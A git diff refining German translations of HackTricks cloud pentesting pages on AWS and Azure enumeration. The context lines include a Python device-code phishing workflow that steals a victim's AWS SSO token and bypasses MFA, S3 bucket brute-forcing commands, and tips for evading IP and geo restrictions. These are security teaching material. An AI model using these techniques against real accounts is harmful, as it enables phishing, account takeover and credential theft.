IAM-Rolle umfasst die Definition, welche AWS-Ressourcen oder -Dienste berechtigt sind, diese Rolle zu übernehmen** und temporäre Anmeldeinformationen zu erhalten. Wenn die angegebene Ressource in der Richtlinie **existiert**, wird die Vertrauensrichtlinie **erfolgreich** gespeichert. Wenn die Ressource **nicht existiert**, wird ein **Fehler generiert**, der anzeigt, dass ein ungültiger Principal angegeben wurde. +Die Konfiguration oder Aktualisierung einer **IAM-Rollenvertrauensrichtlinie umfasst die Definition, welche AWS-Ressourcen oder -Dienste berechtigt sind, diese Rolle zu übernehmen** und temporäre Anmeldeinformationen zu erhalten. Wenn die im Richtlinien angegebenen Ressourcen **existieren**, wird die Vertrauensrichtlinie **erfolgreich** gespeichert. Wenn die Ressource **nicht existiert**, wird ein **Fehler generiert**, der anzeigt, dass ein ungültiger Principal angegeben wurde. > [!WARNING] > Beachten Sie, dass Sie in dieser Ressource eine rollen- oder benutzerübergreifende Kontenrolle oder einen Benutzer angeben könnten: @@ -54,7 +54,7 @@ Dies ist ein Beispiel für eine Richtlinie: ``` #### GUI -Das ist der **Fehler**, den Sie finden, wenn Sie eine **Rolle verwenden, die nicht existiert**. Wenn die Rolle **existiert**, wird die Richtlinie **ohne Fehler** gespeichert. (Der Fehler tritt beim Update auf, funktioniert aber auch beim Erstellen) +Das ist der **Fehler**, den Sie finden werden, wenn Sie eine **Rolle verwenden, die nicht existiert**. Wenn die Rolle **existiert**, wird die Richtlinie **ohne Fehler gespeichert**. (Der Fehler tritt beim Aktualisieren auf, funktioniert aber auch beim Erstellen) ![](<../../../images/image (153).png>) @@ -99,7 +99,7 @@ Unserer Verwendung von [Pacu](https://github.com/RhinoSecurityLabs/pacu): - `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` - `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` -- Die `admin` Rolle, die im Beispiel verwendet wird, ist eine **Rolle in Ihrem Konto, die von pacu impersoniert werden kann**, um die Richtlinien zu erstellen, die für die Enumeration benötigt werden. +- Die `admin` Rolle, die im Beispiel verwendet wird, ist eine **Rolle in Ihrem Konto, die von pacu impersoniert werden soll**, um die Richtlinien zu erstellen, die es für die Enumeration benötigt. ### Privesc @@ -118,7 +118,7 @@ Im Falle, dass die Rolle schlecht konfiguriert ist und es jedem erlaubt, sie zu ] } ``` -Der Angreifer könnte es einfach annehmen. +Der Angreifer könnte einfach davon ausgehen. ## Drittanbieter OIDC-Föderation @@ -144,7 +144,7 @@ Dieses Vertrauen könnte den Zugriff auf eine Rolle mit der folgenden **Vertraue } ``` Diese Vertrauensrichtlinie könnte korrekt sein, aber der **Mangel an weiteren Bedingungen** sollte dich misstrauisch machen.\ -Das liegt daran, dass die vorherige Rolle von **JEDER PERSON von Github Actions** übernommen werden kann! Du solltest in den Bedingungen auch andere Dinge wie den Organisationsnamen, den Reponamen, die Umgebung, den Branch... angeben. +Das liegt daran, dass die vorherige Rolle von **JEDER Person von Github Actions** übernommen werden kann! Du solltest in den Bedingungen auch andere Dinge wie den Organisationsnamen, den Reponamen, die Umgebung, den Branch... angeben. Eine weitere potenzielle Fehlkonfiguration besteht darin, eine **Bedingung** wie die folgende hinzuzufügen: ```json @@ -152,7 +152,7 @@ Eine weitere potenzielle Fehlkonfiguration besteht darin, eine **Bedingung** wie "token.actions.githubusercontent.com:sub": "repo:org_name*:*" } ``` -Beachten Sie das **Wildcard** (\*) vor dem **Doppelpunkt** (:). Sie können eine Organisation wie **org_name1** erstellen und **die Rolle annehmen** von einer Github Action. +Beachten Sie das **Wildcard** (\*) vor dem **Doppelpunkt** (:). Sie können eine Organisation wie **org_name1** erstellen und die **Rolle** von einer Github-Aktion annehmen. ## Referenzen diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md index afef0036b..84ed02fd0 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md @@ -11,7 +11,7 @@ Um diesen Angriff durchzuführen, sind die Voraussetzungen: - Das Opfer muss **Identity Center** verwenden - Der Angreifer muss die **Subdomain** kennen, die vom Opfer verwendet wird `.awsapps.com/start` -Nur mit den vorherigen Informationen wird der **Angreifer in der Lage sein, einen Link an den Benutzer zu senden**, der, wenn er **akzeptiert** wird, dem **Angreifer Zugriff auf das AWS-Benutzer**konto gewährt. +Nur mit den vorherigen Informationen kann der **Angreifer einen Link an den Benutzer senden**, der, wenn er **akzeptiert** wird, dem **Angreifer Zugriff auf das AWS-Benutzer**konto gewährt. ### Angriff @@ -52,18 +52,18 @@ url = authz.get('verificationUriComplete') deviceCode = authz.get('deviceCode') print("Give this URL to the victim: " + url) ``` -Senden Sie den generierten Link an das Opfer mit Ihren großartigen Social-Engineering-Fähigkeiten! +Sende den generierten Link an das Opfer mit deinen großartigen Social-Engineering-Fähigkeiten! -3. **Warten Sie, bis das Opfer es akzeptiert** +3. **Warte, bis das Opfer es akzeptiert** Wenn das Opfer **bereits bei AWS angemeldet** war, muss es nur die Berechtigungen akzeptieren. Wenn nicht, muss es sich **anmelden und dann die Berechtigungen akzeptieren**.\ -So sieht das Prompt heutzutage aus: +So sieht die Aufforderung heutzutage aus:
-4. **Holen Sie sich das SSO-Zugriffstoken** +4. **Erhalte SSO-Zugriffstoken** -Wenn das Opfer das Prompt akzeptiert hat, führen Sie diesen Code aus, um **ein SSO-Token zu generieren, das den Benutzer impersoniert**: +Wenn das Opfer die Aufforderung akzeptiert hat, führe diesen Code aus, um **ein SSO-Token zu generieren, das den Benutzer impersoniert**: ```python token_response = sso_oidc.create_token( clientId=client_id, @@ -73,9 +73,9 @@ deviceCode=deviceCode ) sso_token = token_response.get('accessToken') ``` -Der SSO-Zugriffstoken ist **8 Stunden gültig**. +Das SSO-Zugriffstoken ist **8 Stunden gültig**. -5. **Benutzer impersonifizieren** +5. **Benutzer impersonieren** ```python sso_client = boto3.client('sso', region_name=REGION) @@ -104,7 +104,7 @@ sts_creds.get('roleCredentials') ``` ### Phishing des unphishbaren MFA -Es ist interessant zu wissen, dass der vorherige Angriff **auch funktioniert, wenn ein "unphishbarer MFA" (webAuth) verwendet wird**. Dies liegt daran, dass der vorherige **Workflow niemals die verwendete OAuth-Domain verlässt**. Anders als bei anderen Phishing-Angriffen, bei denen der Benutzer die Anmeldedomain ersetzen muss, ist im Fall des Gerätecode-Workflows so vorbereitet, dass ein **Code von einem Gerät bekannt ist** und der Benutzer sich sogar auf einem anderen Gerät anmelden kann. Wenn die Eingabeaufforderung akzeptiert wird, kann das Gerät, nur durch **Kenntnis des ursprünglichen Codes**, **Anmeldeinformationen** für den Benutzer **abrufen**. +Es ist interessant zu wissen, dass der vorherige Angriff **auch funktioniert, wenn ein "unphishbarer MFA" (webAuth) verwendet wird**. Das liegt daran, dass der vorherige **Workflow niemals die verwendete OAuth-Domain verlässt**. Anders als bei anderen Phishing-Angriffen, bei denen der Benutzer die Anmeldedomain ersetzen muss, ist im Fall des Gerätecode-Workflows vorgesehen, dass ein **Code von einem Gerät bekannt ist** und der Benutzer sich sogar an einem anderen Gerät anmelden kann. Wenn die Eingabeaufforderung akzeptiert wird, kann das Gerät, nur durch **Kenntnis des ursprünglichen Codes**, **Anmeldeinformationen** für den Benutzer **abrufen**. Für weitere Informationen dazu [**prüfen Sie diesen Beitrag**](https://mjg59.dreamwidth.org/62175.html). diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md index 27ab52c8a..1a229dedf 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md @@ -12,7 +12,7 @@ Für weitere Informationen siehe: ## Öffentlicher Port -Es ist möglich, **öffentlichen Zugriff auf die Datenbank aus dem Internet** zu gewähren. Der Angreifer muss dennoch **den Benutzernamen und das Passwort,** IAM-Zugriff oder einen **Exploit** kennen, um in die Datenbank einzutreten. +Es ist möglich, **öffentlichen Zugriff auf die Datenbank aus dem Internet** zu gewähren. Der Angreifer muss dennoch **den Benutzernamen und das Passwort,** IAM-Zugriff oder einen **Exploit** kennen, um in die Datenbank zu gelangen. ## Öffentliche RDS-Snapshots diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md index c0018ce2a..fcb1fb6f9 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md @@ -6,7 +6,7 @@ Ein Bucket wird als **„öffentlich“** betrachtet, wenn **jeder Benutzer den Inhalt** des Buckets auflisten kann, und als **„privat“**, wenn der Inhalt des Buckets **nur von bestimmten Benutzern aufgelistet oder geschrieben werden kann**. -Unternehmen könnten **Bucket-Berechtigungen falsch konfiguriert** haben, was den Zugriff entweder auf alles oder auf alle, die in AWS in einem beliebigen Konto authentifiziert sind (also auf jeden), gewährt. Beachten Sie, dass selbst bei solchen Fehlkonfigurationen einige Aktionen möglicherweise nicht ausgeführt werden können, da Buckets ihre eigenen Zugriffskontrolllisten (ACLs) haben können. +Unternehmen könnten **Berechtigungen für Buckets falsch konfiguriert** haben, was entweder den Zugriff auf alles oder auf alle authentifizierten Benutzer in AWS in jedem Konto (also auf jeden) ermöglicht. Beachten Sie, dass selbst bei solchen Fehlkonfigurationen einige Aktionen möglicherweise nicht ausgeführt werden können, da Buckets ihre eigenen Zugriffskontrolllisten (ACLs) haben können. **Erfahren Sie hier mehr über AWS-S3 Fehlkonfigurationen:** [**http://flaws.cloud**](http://flaws.cloud/) **und** [**http://flaws2.cloud/**](http://flaws2.cloud) @@ -17,7 +17,7 @@ Verschiedene Methoden, um herauszufinden, ob eine Webseite AWS zur Speicherung v #### Enumeration & OSINT: - Verwendung des **wappalyzer** Browser-Plugins -- Verwendung von Burp (**Spidering** des Webs) oder durch manuelles Navigieren durch die Seite, alle **Ressourcen**, die **geladen** werden, werden im Verlauf gespeichert. +- Verwendung von burp (**Spidering** des Webs) oder durch manuelles Navigieren durch die Seite, alle **geladenen Ressourcen** werden im Verlauf gespeichert. - **Überprüfen Sie Ressourcen** in Domains wie: ``` @@ -33,7 +33,7 @@ http://[bucket_name].s3.amazonaws.com/ #### Brute-Force -Sie können Buckets finden, indem Sie **Namen** brute-forcen, die mit dem Unternehmen, das Sie pentesten, in Verbindung stehen: +Sie können Buckets durch **Brute-Forcing von Namen** finden, die mit dem Unternehmen, das Sie pentesten, in Verbindung stehen: - [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner) - [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector) @@ -59,7 +59,7 @@ cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt # Erstellen Sie Permutationen basierend auf einer Liste mit den Domains und Subdomains, die angegriffen werden sollen goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp ## Das vorherige Tool ist spezialisiert auf die Erstellung von Permutationen für Subdomains, lassen Sie uns diese Liste filtern -### Entfernen Sie Zeilen, die mit "." enden. +### Entfernen Sie Zeilen, die mit "." enden cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2 ### Erstellen Sie eine Liste ohne TLD cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3 @@ -96,12 +96,12 @@ Non-authoritative answer: 11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com. ``` Überprüfen Sie, ob die aufgelöste Domain das Wort "website" enthält.\ -Sie können auf die statische Website zugreifen, indem Sie: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\ -oder Sie können auf den Bucket zugreifen, indem Sie: `flaws.cloud.s3-us-west-2.amazonaws.com` besuchen. +Sie können auf die statische Website zugreifen, indem Sie zu: `flaws.cloud.s3-website-us-west-2.amazonaws.com` gehen\ +oder Sie können auf den Bucket zugreifen, indem Sie besuchen: `flaws.cloud.s3-us-west-2.amazonaws.com` #### Durch Ausprobieren -Wenn Sie versuchen, auf einen Bucket zuzugreifen, aber im **Domainnamen eine andere Region angeben** (zum Beispiel der Bucket ist in `bucket.s3.amazonaws.com`, aber Sie versuchen, auf `bucket.s3-website-us-west-2.amazonaws.com` zuzugreifen), dann werden Sie **auf den richtigen Standort hingewiesen**: +Wenn Sie versuchen, auf einen Bucket zuzugreifen, aber im **Domainnamen eine andere Region angeben** (zum Beispiel der Bucket ist in `bucket.s3.amazonaws.com`, aber Sie versuchen, auf `bucket.s3-website-us-west-2.amazonaws.com` zuzugreifen, dann werden Sie **auf den richtigen Standort hingewiesen**: ![](<../../../images/image (106).png>) @@ -125,7 +125,7 @@ Sie können dies auch mit der CLI überprüfen: #Opcionally you can select the region if you now it aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile ] [ --recursive] [--region us-west-2] ``` -Wenn der Bucket keinen Domainnamen hat, geben Sie beim Versuch, ihn aufzulisten, **nur den Bucket-Namen** und nicht die gesamte AWSs3-Domain an. Beispiel: `s3://` +Wenn der Bucket keinen Domainnamen hat, geben Sie beim Versuch, ihn aufzulisten, **nur den Bucket-Namen** an und nicht die gesamte AWSs3-Domain. Beispiel: `s3://` ### Öffentliches URL-Template ``` @@ -134,7 +134,7 @@ https://{user_provided}.s3.amazonaws.com ### Konto-ID aus öffentlichem Bucket abrufen Es ist möglich, ein AWS-Konto zu bestimmen, indem man den neuen **`S3:ResourceAccount`** **Policy Condition Key** ausnutzt. Diese Bedingung **beschränkt den Zugriff basierend auf dem S3-Bucket**, in dem sich ein Konto befindet (andere kontobasierte Richtlinien beschränken den Zugriff basierend auf dem Konto, in dem sich der anfordernde Principal befindet).\ -Und da die Richtlinie **Wildcard-Zeichen** enthalten kann, ist es möglich, die Kontonummer **nur eine Zahl nach der anderen** zu finden. +Und da die Richtlinie **Wildcard-Zeichen** enthalten kann, ist es möglich, die Kontonummer **nur eine Ziffer nach der anderen** zu finden. Dieses Tool automatisiert den Prozess: ```bash @@ -150,7 +150,7 @@ Diese Technik funktioniert auch mit API Gateway-URLs, Lambda-URLs, Data Exchange ### Bestätigen, dass ein Bucket zu einem AWS-Konto gehört -Wie in [**diesem Blogbeitrag**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)** erklärt, wenn Sie Berechtigungen zum Auflisten eines Buckets haben** ist es möglich, eine accountID zu bestätigen, zu der der Bucket gehört, indem Sie eine Anfrage wie folgt senden: +Wie in [**diesem Blogbeitrag**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/) erklärt, **wenn Sie Berechtigungen zum Auflisten eines Buckets haben**, ist es möglich, eine accountID zu bestätigen, zu der der Bucket gehört, indem Sie eine Anfrage wie folgt senden: ```bash curl -X GET "[bucketname].amazonaws.com/" \ -H "x-amz-expected-bucket-owner: [correct-account-id]" diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md index 8a7d879df..3e2d15b56 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md @@ -12,10 +12,10 @@ Für weitere Informationen über SNS siehe: ### Offen für Alle -Wenn Sie ein SNS-Thema über die Webkonsole konfigurieren, ist es möglich anzugeben, dass **jeder veröffentlichen und abonnieren kann**: +Wenn du ein SNS-Thema über die Webkonsole konfigurierst, ist es möglich anzugeben, dass **jeder veröffentlichen und abonnieren kann**:
-Wenn Sie also **die ARN von Themen** im Konto finden (oder potenzielle Namen für Themen brute-forcen), können Sie **überprüfen**, ob Sie **veröffentlichen** oder **abonnieren** können. +Wenn du also **die ARN der Themen** im Konto **findest** (oder potenzielle Namen für Themen bruteforced), kannst du **überprüfen**, ob du **veröffentlichen** oder **abonnieren** kannst. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md index befed84da..74b31583e 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md @@ -14,8 +14,8 @@ Für weitere Informationen zu SQS siehe: ``` https://sqs.[region].amazonaws.com/[account-id]/{user_provided} ``` -### Berechtigungen Überprüfen +### Berechtigungen überprüfen -Es ist möglich, eine SQS-Warteschlangenrichtlinie falsch zu konfigurieren und Berechtigungen für alle in AWS zu gewähren, um Nachrichten zu senden und zu empfangen. Wenn Sie also die ARN der Warteschlangen erhalten, versuchen Sie, ob Sie darauf zugreifen können. +Es ist möglich, eine SQS-Warteschlangenrichtlinie falsch zu konfigurieren und Berechtigungen für alle in AWS zu gewähren, um Nachrichten zu senden und zu empfangen. Wenn Sie die ARN von Warteschlangen erhalten, versuchen Sie, ob Sie auf sie zugreifen können. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/README.md b/src/pentesting-cloud/azure-security/README.md index f75de0cde..cb959ceeb 100644 --- a/src/pentesting-cloud/azure-security/README.md +++ b/src/pentesting-cloud/azure-security/README.md @@ -10,13 +10,13 @@ az-basic-information/ ## Azure Pentester/Red Team Methodik -Um eine AZURE-Umgebung zu auditieren, ist es sehr wichtig zu wissen: welche **Dienste verwendet werden**, was **exponiert** ist, wer **Zugriff** auf was hat und wie interne Azure-Dienste und **externe Dienste** verbunden sind. +Um eine AZURE-Umgebung zu auditieren, ist es sehr wichtig zu wissen: welche **Dienste verwendet werden**, was **exponiert wird**, wer **Zugriff** auf was hat und wie interne Azure-Dienste und **externe Dienste** verbunden sind. -Aus der Sicht des Red Teams ist der **erste Schritt zur Kompromittierung einer Azure-Umgebung**, einige **Anmeldeinformationen** für Azure AD zu erhalten. Hier sind einige Ideen, wie man das machen kann: +Aus der Sicht eines Red Teams ist der **erste Schritt, um eine Azure-Umgebung zu kompromittieren**, das Erhalten von **Anmeldeinformationen** für Azure AD. Hier sind einige Ideen, wie man das machen kann: - **Leaks** in github (oder ähnlichem) - OSINT - **Soziale** Ingenieurkunst -- **Passwort**-Wiederverwendung (Passwort-Leaks) +- **Passwort**-Wiederverwendung (Passwortlecks) - Schwachstellen in Azure-gehosteten Anwendungen - [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) mit Zugriff auf den Metadaten-Endpunkt - **Lokales Datei Lesen** @@ -33,14 +33,14 @@ Verwenden Sie `Disconnect-AzAccount`, um sie zu entfernen. - [Gerätekodenauthentifizierungsphishing](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md) - [Azure **Password Spraying**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md) -Selbst wenn Sie **keinen Benutzer** innerhalb des Azure-Mieters, den Sie angreifen, kompromittiert haben, können Sie **einige Informationen** daraus sammeln: +Selbst wenn Sie **keinen Benutzer** innerhalb des Azure-Mandanten, den Sie angreifen, kompromittiert haben, können Sie **einige Informationen** daraus sammeln: {{#ref}} az-unauthenticated-enum-and-initial-entry/ {{#endref}} > [!NOTE] -> Nachdem Sie es geschafft haben, Anmeldeinformationen zu erhalten, müssen Sie wissen, **wem diese Anmeldeinformationen gehören** und **auf was sie Zugriff haben**, daher müssen Sie einige grundlegende Aufzählungen durchführen: +> Nachdem Sie Anmeldeinformationen erhalten haben, müssen Sie wissen, **wem diese Anmeldeinformationen gehören** und **auf was sie Zugriff haben**, daher müssen Sie einige grundlegende Aufzählungen durchführen: ## Grundlegende Aufzählung @@ -49,7 +49,7 @@ az-unauthenticated-enum-and-initial-entry/ ### SSRF -Wenn Sie ein SSRF auf einer Maschine innerhalb von Azure gefunden haben, überprüfen Sie diese Seite auf Tricks: +Wenn Sie ein SSRF auf einer Maschine innerhalb von Azure gefunden haben, überprüfen Sie diese Seite für Tricks: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf @@ -62,9 +62,9 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou In Fällen, in denen Sie einige gültige Anmeldeinformationen haben, aber sich nicht anmelden können, sind dies einige gängige Schutzmaßnahmen, die vorhanden sein könnten: - **IP-Whitelist** -- Sie müssen eine gültige IP kompromittieren -- **Geo-Beschränkungen** -- Finden Sie heraus, wo der Benutzer lebt oder wo die Büros des Unternehmens sind, und erhalten Sie eine IP aus derselben Stadt (oder zumindest demselben Land) +- **Geo-Beschränkungen** -- Finden Sie heraus, wo der Benutzer lebt oder wo sich die Büros des Unternehmens befinden, und erhalten Sie eine IP aus derselben Stadt (oder zumindest demselben Land) - **Browser** -- Vielleicht ist nur ein Browser von einem bestimmten OS (Windows, Linux, Mac, Android, iOS) erlaubt. Finden Sie heraus, welches OS das Opfer/das Unternehmen verwendet. -- Sie können auch versuchen, **Service Principal-Anmeldeinformationen** zu kompromittieren, da diese normalerweise weniger eingeschränkt sind und ihr Login weniger überprüft wird. +- Sie können auch versuchen, **Service Principal-Anmeldeinformationen** zu kompromittieren, da diese normalerweise weniger eingeschränkt sind und deren Anmeldung weniger überprüft wird. Nachdem Sie dies umgangen haben, sollten Sie in der Lage sein, zu Ihrem ursprünglichen Setup zurückzukehren und weiterhin Zugriff zu haben. @@ -120,7 +120,7 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user {{#endtabs }} > [!CAUTION] -> Eines der wichtigsten Befehle zur Auflistung von Azure ist **`Get-AzResource`** von Az PowerShell, da er Ihnen **zeigt, über welche Ressourcen Ihr aktueller Benutzer Sichtbarkeit hat**. +> Eines der wichtigsten Befehle zur Auflistung von Azure ist **`Get-AzResource`** aus Az PowerShell, da er Ihnen **zeigt, über welche Ressourcen Ihr aktueller Benutzer Sichtbarkeit hat**. > > Sie können die gleichen Informationen in der **Webkonsole** erhalten, indem Sie zu [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) gehen oder nach "Alle Ressourcen" suchen. diff --git a/src/pentesting-cloud/azure-security/az-basic-information/README.md b/src/pentesting-cloud/azure-security/az-basic-information/README.md index f45d3272a..a31a87043 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/README.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/README.md @@ -6,23 +6,23 @@

https://www.tunecom.be/stg_ba12f/wp-content/uploads/2020/01/VDC-Governance-ManagementGroups-1536x716.png

-### Verwaltungsgruppen +### Verwaltungsguppen -- Sie kann **andere Verwaltungsgruppen oder Abonnements** enthalten. -- Dies ermöglicht es, **Governance-Kontrollen** wie RBAC und Azure Policy einmal auf der Ebene der Verwaltungsgruppe anzuwenden und sie von allen Abonnements in der Gruppe **zu erben**. -- **10.000 Verwaltungs**gruppen können in einem einzigen Verzeichnis unterstützt werden. -- Ein Verwaltungsgruppengeäst kann **bis zu sechs Ebenen tief** sein. Diese Grenze schließt die Wurzelebene oder die Abonnementebene nicht ein. -- Jede Verwaltungsgruppe und jedes Abonnement kann **nur einen Elternteil** unterstützen. -- Auch wenn mehrere Verwaltungsgruppen erstellt werden können, gibt es **nur 1 Wurzelverwaltungsgruppe**. -- Die Wurzelverwaltungsgruppe **enthält** alle **anderen Verwaltungsgruppen und Abonnements** und **kann nicht verschoben oder gelöscht werden**. -- Alle Abonnements innerhalb einer einzigen Verwaltungsgruppe müssen dem **gleichen Entra ID-Mandanten vertrauen.** +- Sie können **andere Verwaltungsguppen oder Abonnements** enthalten. +- Dies ermöglicht es, **Governance-Kontrollen** wie RBAC und Azure Policy einmal auf der Ebene der Verwaltungsguppe anzuwenden und sie von allen Abonnements in der Gruppe **zu erben**. +- **10.000 Verwaltungsguppen** können in einem einzigen Verzeichnis unterstützt werden. +- Ein Verwaltungsgruppenbaum kann **bis zu sechs Ebenen tief** sein. Diese Grenze schließt die Wurzelebene oder die Abonnementebene nicht ein. +- Jede Verwaltungsguppe und jedes Abonnement kann **nur einen Elternteil** unterstützen. +- Auch wenn mehrere Verwaltungsguppen erstellt werden können, gibt es **nur 1 Wurzelverwaltungsguppe**. +- Die Wurzelverwaltungsguppe **enthält** alle **anderen Verwaltungsguppen und Abonnements** und **kann nicht verschoben oder gelöscht werden**. +- Alle Abonnements innerhalb einer einzigen Verwaltungsguppe müssen dem **gleichen Entra ID-Mandanten** vertrauen.

https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png

### Azure-Abonnements - Es ist ein weiterer **logischer Container, in dem Ressourcen** (VMs, DBs…) ausgeführt werden können und abgerechnet werden. -- Sein **Elternteil** ist immer eine **Verwaltungsgruppe** (und es kann die Wurzelverwaltungsgruppe sein), da Abonnements keine anderen Abonnements enthalten können. +- Sein **Elternteil** ist immer eine **Verwaltungsguppe** (und es kann die Wurzelverwaltungsguppe sein), da Abonnements keine anderen Abonnements enthalten können. - Es **vertraut nur einem Entra ID**-Verzeichnis. - **Berechtigungen**, die auf der Abonnementebene (oder einer seiner Eltern) angewendet werden, werden **auf alle Ressourcen innerhalb des Abonnements vererbt**. @@ -30,7 +30,7 @@ [Aus den Dokumenten:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) Eine Ressourcengruppe ist ein **Container**, der **verwandte Ressourcen** für eine Azure-Lösung enthält. Die Ressourcengruppe kann alle Ressourcen für die Lösung oder nur die **Ressourcen, die Sie als Gruppe verwalten möchten**, umfassen. Im Allgemeinen fügen Sie **Ressourcen** hinzu, die den **gleichen Lebenszyklus** teilen, zur gleichen Ressourcengruppe hinzu, damit Sie sie einfach als Gruppe bereitstellen, aktualisieren und löschen können. -Alle **Ressourcen** müssen **innerhalb einer Ressourcengruppe** sein und können nur zu einer Gruppe gehören, und wenn eine Ressourcengruppe gelöscht wird, werden auch alle Ressourcen darin gelöscht. +Alle **Ressourcen** müssen **innerhalb einer Ressourcengruppe** sein und können nur zu einer Gruppe gehören. Wenn eine Ressourcengruppe gelöscht wird, werden auch alle Ressourcen darin gelöscht.

https://i0.wp.com/azuredays.com/wp-content/uploads/2020/05/org.png?resize=748%2C601&ssl=1

@@ -42,7 +42,7 @@ Das Format einer Azure-Ressourcen-ID ist wie folgt: - `/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/{resourceProviderNamespace}/{resourceType}/{resourceName}` -Für eine virtuelle Maschine mit dem Namen myVM in einer Ressourcengruppe `myResourceGroup` unter der Abonnement-ID `12345678-1234-1234-1234-123456789012` sieht die Azure-Ressourcen-ID wie folgt aus: +Für eine virtuelle Maschine mit dem Namen myVM in einer Ressourcengruppe `myResourceGroup` unter der Abonnement-ID `12345678-1234-1234-1234-123456789012` sieht die Azure-Ressourcen-ID so aus: - `/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/myResourceGroup/providers/Microsoft.Compute/virtualMachines/myVM` @@ -69,11 +69,11 @@ Entra-Domänendienste erweitern die Funktionen von Entra ID, indem sie **verwalt - Anzeigename angeben - Passwort angeben - Eigenschaften angeben (Vorname, Berufsbezeichnung, Kontaktinformationen…) -- Der Standardbenutzertyp ist „**Mitglied**“ +- Standardbenutzertyp ist „**Mitglied**“ - **Externe Benutzer** - E-Mail angeben, um einzuladen, und Anzeigename (kann eine Nicht-Microsoft-E-Mail sein) - Eigenschaften angeben -- Der Standardbenutzertyp ist „**Gast**“ +- Standardbenutzertyp ist „**Gast**“ ### Standardberechtigungen für Mitglieder & Gäste @@ -85,7 +85,7 @@ Sie können sie in [https://learn.microsoft.com/en-us/entra/fundamentals/users-d - Nicht versteckte Gruppenmitgliedschaften lesen - Gäste zu eigenen Gruppen hinzufügen - Neue Anwendung erstellen (_kann deaktiviert werden_) -- Bis zu 50 Geräte in Azure hinzufügen (_kann deaktiviert werden_) +- Bis zu 50 Geräte zu Azure hinzufügen (_kann deaktiviert werden_) > [!NOTE] > Denken Sie daran, dass der Benutzer eine ausdrückliche Genehmigung für die Berechtigung benötigt, um Azure-Ressourcen aufzulisten. @@ -94,26 +94,26 @@ Sie können sie in [https://learn.microsoft.com/en-us/entra/fundamentals/users-d - **Mitglieder (**[**Dokumente**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)** - Anwendungen registrieren: Standard **Ja** -- Einschränkung nicht administrativer Benutzer bei der Erstellung von Mandanten: Standard **Nein** +- Einschränkung nicht-administrativer Benutzer bei der Erstellung von Mandanten: Standard **Nein** - Sicherheitsgruppen erstellen: Standard **Ja** - Zugriff auf das Microsoft Entra-Verwaltungsportal einschränken: Standard **Nein** - Dies schränkt den API-Zugriff auf das Portal nicht ein (nur Web) 